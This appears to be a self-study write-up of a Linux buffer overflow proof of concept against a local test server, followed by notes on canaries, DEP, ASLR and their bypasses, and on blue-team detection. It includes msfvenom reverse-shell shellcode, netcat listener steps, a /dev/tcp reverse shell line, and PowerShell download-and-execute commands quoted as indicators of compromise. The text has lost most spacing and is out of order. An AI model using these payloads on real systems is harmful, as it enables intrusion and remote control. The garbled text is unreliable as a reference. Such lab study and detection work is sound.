BadCharactersinCustomMalwareIfyouweretoattempttofindyourownbufferoverflowinapieceofsoftwareandwriteyourownremotecodeexecutionorremotecommandexecutionyouwouldfindthatsomecharactersarereservedforpromotinglanguageandassemblerForexamplex00isusedforNULLpointterminationinCwhichindicatesanendofanarrayorbufferandtellsaprogramtostopatthepointitseesx00OtherlanguagesmayhavesimilarreservedtypeofcharactersyouwanttocommitAsanoverlysimplifiedexamplehellip
x86encodedShellCodewBadCharacters(Fornextsection)
xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1
x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f
xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0
xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45
x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33
x21x0bx8fxc0xd9xbbxe0x09x7bx00x00x55x76xb6x29xf6x01
xd8x7dxf3xdcx9bx00x00
Nowletrsquosupdateourclientpycodetoreflectthesechangesandincludethereverseshellpayloadwejustmade
UpdatedclientpyCodewiththeldquoBadCharactercoderdquo
Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the
clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and
overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a
connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection
willfail
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or
WHOIScommandsLetrsquosinvestigate
1 RightclickEIPinRegisterWindowsrarrFollowinDump
2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending
3 Lookforx00commandsandtrytonoticeanythingorstrange
WhattheTargetMachineSees
Whatwesentover
We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc
etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does
not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP
CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence
of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into
various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad
charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard
So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and
omitcharacters
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow
ofhellip
1 UseagiantblobofallASCIcharactersinHEX
2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline
Howtotestforbadcharactersandotherassemblyandregisterissues
Terminal1Server1337
Terminal2edb(orGDBIwonrsquotjudge)
fromedbrarrattachrarrServer
fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning
Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory
Yoursquollbelookingforx41orx90rsquos
Option1-AlltheASCII
x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10
x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20
x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30
x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40
x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50
x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60
x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70
x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80
x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90
x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0
xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0
xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0
xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0
xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0
xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff
Option2-Testsomespecificcommands
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto
thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest
Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution
ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime
issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo
KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor
hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO
commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell
NewPayload
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode
FinalResults
SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere
theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback
toourldquoattackingrdquoterminal(farthestright)
CommonBufferOverflowExampleandMitigations(inC)
WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare
morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated
stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline
orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()
andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe
assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe
registersofacompiledbinaryorreviewingtheoutputfromGHIDRA
gets
Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability
VulnerableCode(SOURCE)
printfexternallink(Inputsomethingnastyhere)
gets(something)
VulnerableCode(ASSEMBLY)
FixedCode
printfexternallink(Inputsomethingnastyhere)
fgets(usernameLENGTHstdin)
strcpy
Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone
contiguoustomemorywherethepayloadisstored
VulnerableCode
charstr1[10]
charstr2[]=badstuffhere
strcpy(str1str2)
FixedCode(SOURCE)
enumBUFFER_LIMIT=1024
intmain()
chardst[BUFFER_LIMIT]
charsrc[]=badstuffhere
intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)
if(buffer_lengthgt=BUFFER_LIMIT)
printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn
buffer_lengthBUFFER_LIMIT-1)
VulnerableCode(ASSEMBLY)
Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows
FixedCode(SOURCE)
enumBUFFER_BOUNDARY_SIZE=1024
charstr1[BUFFER_BOUNDARY_SIZE]
charstr2[]=badstuffhere
strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize
strcat
YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto
thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin
sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied
FixedCode(SOURCE)
defineBUFFER_BOUNDARY_SIZE1024
charbuff[BUFFER_BOUNDARY_SIZE]
Usesecurestrncpythenuse
strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)
buff[BUFFER_BOUNDARY_SIZE-1]=0
strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)
strcmp
ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach
otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot
validatethesizeoftheinputagainstthepredefinedbuffer
OtherMitigationstoBufferOverflows
During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable
ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the
following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits
need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my
own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the
newcomertodiptheirtoesintothesubjects
Canary
A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions
prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary
ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps
detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly
overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith
https0x00secorgtexploit-mitigation-techniques-stack-canaries5085
httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained
httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf
DEP-DataExecutionProtection
DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware
executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as
non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns
For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag
of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other
linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow
security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks
forroutineswithanytypeofbuffer
In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get
the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the
bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP
setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may
introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP
httpslwnnetArticles422487
httpslinuxdienetman8execstack
httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in
httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your
httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae
BypassingDEP
Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to
David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view
ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining
So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu
will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you
overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary
arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in
linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable
in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another
option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in
the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the
application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of
instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope
somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle
ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot
intendtohavethewordldquoheartrdquodidherdquo
Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your
payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP
gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET
instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps
An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute
ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script
which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1
But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it
difficulttocallexecve()orsystem()
Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove
found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create
a new executable space or change the flag for existing executable space However finding the memory addresses to these functions
andcallingthemappearstobeadifferentstory
httpsgithubcomJonathanSalwanROPgadget
httpswwwrapid7comresourcesrop-exploit-explained
httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf
httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf
httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi
ng-chains]pdf
ASLR(Addressspacelayoutrandomization)
Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation
BypassingASLR
Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and
windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible
chunksandhopefullythishelpsguidemyselfandotherfurtherstudies
NonASLRlinkedbinaries
It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with
some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something
that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR
enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the
memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program
with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass
ASLRandbeginaROPattack
httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf
httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf
PointerLeaksDanglingPointers
If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot
for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code
into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE
which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory
object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that
the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how
virtualfunctionsarereferencedviavirtualtables
httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf
httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf
httpswwwrapid7comresourceswhy-you-should-be-using-emet
HEAPSprayswithASLRdisabledVirtualAlloc()inWindows
If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create
write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can
either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by
VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this
seemslikejustplainluck
httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified
httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf
BlueteamEngineeringforpostBufferOverflow
For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just
learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos
are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues
SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to
Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I
thoughtthroughthisIlumpedthedetectionintotwobuckets
1 DetectingFailedBufferOverflowAttempts
2 DetectingSuccessfullyBufferOverflowAttempts
DetectingFailedBufferOverAttemptsinWindows
If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events
are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the
oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog
For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as
the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases
whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked
EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their
sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a
similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM
Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a
collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via
GPOetc
ltQueryListgt
ltQueryId=0Path=Applicationgt
ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt
ltQuerygt
ltQueryListgt
To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and
configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service
to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on
somepredefinedSplunkpolicy
Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an
exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog
The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server
BasicallythispolicysayswhichlogscangetsentontotheSIEM
[WinEventLogForwardedEvents]
disabled=0
renderXml=1
evt_resolve_ad_obj=1
The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to
and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk
queries
SampleEMETEvent
EMETversion55587131892
EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE
EAF+checkfailed
ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE
UserNameDOMAINuser
SessionID1
PID0x1348(4936)
TID0xF90(3984)
ModuleSOMEDLLdll
ModBase0x11630000
ModAddress0x11642E99
MemAddress0x76F501A4
Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to
prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may
need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice
beachheadtomaintainafoothold
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf
httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server
DetectingSuccessfulBufferOverAttempts
The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker
has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed
which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two
approachespaintsasolidpicture
1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)
2) Hostbasedsignaturedetection
NetworkBasedDetection
Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the
clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication
1 EncodedHEXpayloadmalwarewithintheclientattack
2 Abunchofx90rsquoswithintheclientattack
3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal
If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have
SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from
bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit
generatedBSDshellcode
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)
content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416
classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment
Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at
2010_07_30updated_at2016_07_01)
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)
content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly
referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any
attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag
Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)
Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly
impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS
interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the
payloadsolargethattherulesareignoredduetoperformanceaswellSneaky
HostBasedDetection
In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and
made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer
OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean
Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas
netviewdomain
netuserdomain
netaccountsdomain
Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas
systeminfo
netlocalgroupldquoAdministratorsrdquo
uname-a
catprocissue
Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell
start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait
powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString
(http10022108081CodeExecutionInvoke-Shellcodeps1)
Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc
ENJOY
ReferencesandHonorableMentions
GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors
Now our fault occurs in our Ersquos or x45rsquos Simple math tells us that is somewhere between ~ 1040-1050 bytes and we know our registers
are4byteor32bitregistersthereforewecanbreakthatfinal9Ersquosinto4Ersquosand4Frsquosandseewhathappens
python-cprintx411000+x4225+x438+x448+x454+x464
Close 3 bytes of Ersquos or 3 x45rsquos but look closely one byte of D or x44 This means we need to subtract one D (x44) I feel like wersquore
onestepaway
python-cprintx411000+x4225+x438+x447+x454+x464
BoomThatrsquosit4bytesofErsquosor4x45rsquosLetrsquoscrackopenourregistersandconfirmthatwehavecontroloverourinstructionpointer
Okay so letrsquos recap You can save time during binary tree analysis if you print your fuzzerrsquos buffer to screen In this case we know the
crash occurred between 1000 and 1100 We also learned that our instruction pointer was well being overwritten with As We need to
find the exact location of the 4 byte EIP register because later we want to put a memory location of our ldquomalwarerdquo and tell the computer
to return to our malware in buffer If you noticed that the 44rsquos were at the end of EIP and not the beginning good catch This is because
Intel x86 is little endian meaning that the instructions are considered ldquobackwardsrdquo when provided to the CPU Basically it reads from
right-to-leftrelativetotheorderyousuppliedthedata
FindingInstructionPointerthefastway
Lucky for us there is a nice little program which helps us solve this problem much more quickly Unfortunately I found that when your
taught to use this program without learning the manual way then you may not understand what and why exactly you are using the
program
httpsgithubcomrapid7metasploit-frameworkblobmastertoolsexploitpattern_createrb
Soourfuzzertoldusthecrashhappenedatapproximately1100bytes
